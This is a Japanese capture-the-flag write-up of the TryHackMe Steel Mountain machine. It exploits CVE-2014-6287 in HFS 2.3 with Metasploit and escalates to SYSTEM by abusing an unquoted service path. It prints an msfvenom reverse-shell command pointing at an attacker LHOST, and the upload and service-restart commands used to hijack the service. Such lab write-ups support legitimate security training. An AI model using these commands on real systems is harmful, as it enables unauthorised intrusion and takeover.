今回はTryHackMeのSteel Mountainを攻略していきます。
スキャニング
いつもどおり、まずはスキャニングをしてみます。
nmap -sV 10.10.205.104
8080ポートで httpd が起動していることがわかります。またソフトウェアは HttpFileServer httpd 2.3 であることもわかりました。
exploit-db で検索すると脆弱性およびエクスプロイトがいくつか出てきました。
このうち、日付が新しく、かつ Verified にチェックが付いているものを見てみます。
確認すると、 CVE-2014-6287 であることがわかります。そしてエクスプロイトコードもついてます。
searchsploit コマンドでも確認してみます。そうすると1つのモジュールが見つかりました。
ここで少しこの脆弱性について調べてみます。
このサイト を確認してみると、この脆弱性の影響は RCE (リモートコード実行)となるようです。ここから攻撃できそうな予感がします。脆弱性の説明も読んでおきます。
Rejetto が提供する HFS (HTTP File Server) には、parserLib.pas の正規表現に null バイトを処理しない問題 (CWE-158) が存在します。検索文字列に null バイトが含まれている場合、その null バイトの後にくる文字列がコマンドの場合、そのコマンドが実行されてしまいます。
初期侵入
侵入の糸口が見つかったので、metasploit を使って、初期侵入を行っていきます。
search コマンドでモジュールを検索し、use コマンドでモジュールを選択していきます。
そして、設定可能なオプションを確認し、RHOSTSとRPORTを設定してきます。
RHOSTはターゲットホスト(攻撃対象マシン)、RPORTはターゲットホストのポート番号です。
設定が終わったらあとは実行するだけです。これで初期侵入成功です。
権限昇格
ローカル(操作しているLinux)でPowerUp.ps1をダウンロードします。
その後、meterpreter シェルから PowerUp.ps1をターゲットホストへアップロードします。
PowerUp は誤った構成に依存する一般的な Windows 権限昇格のヒントを提示してくれるツールです。
Powershellを起動していきます。
PowerUp.ps1をロードして、invoke-AllChecks コマンドを実行します。
そうすると、権限昇格できそうな情報を出力されます。
これはWindowsサービスの一覧の出力のようです。その中で、CanRestart が True となっているサービスは再起動ができるものです。また 引用符で囲まれていないファイルパスを利用して、(悪意を持った)別のサービスに置き換えることもできそうです。
なんとなく攻撃の方向性は見えてきました。やることは悪性のサービスを作成し、AdvancedSystemCareService9を停止させ、起動時にはこちらで作成した悪性のサービスで起動させるという流れです。
msfvenom を利用して、リバースシェルができるWindowsサービス(Advanced.exe)を作成します。
msfvenomとはMetasploitの1つのモジュールでシェルコードやペイロードをコマンドで作成できるとても便利なツールです。
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.xx.xx LPORT=4443 -e x86/shikata_ga_nai -f exe-service -o Advanced.exe
作成したAdvanced.exeをアップロードしていきます。
metapreter シェルにて
cd "C:\Program Files (x86)\IObit\"
upload /root/Advanced.exe
ターミナルの別タブでリバースシェルの準備をします(待受ポート作成)
そして、サービスを停止、起動します。
## サービス停止
sc stop AdvancedSystemCareService9
## サービス起動
sc start AdvancedSystemCareService9
そうすると、Advanced.exe が起動して、リバールシェルが成功します。
そして権限を確認するとsystem権限(特権)です。
TryHackmeのSteel Mountainを攻略する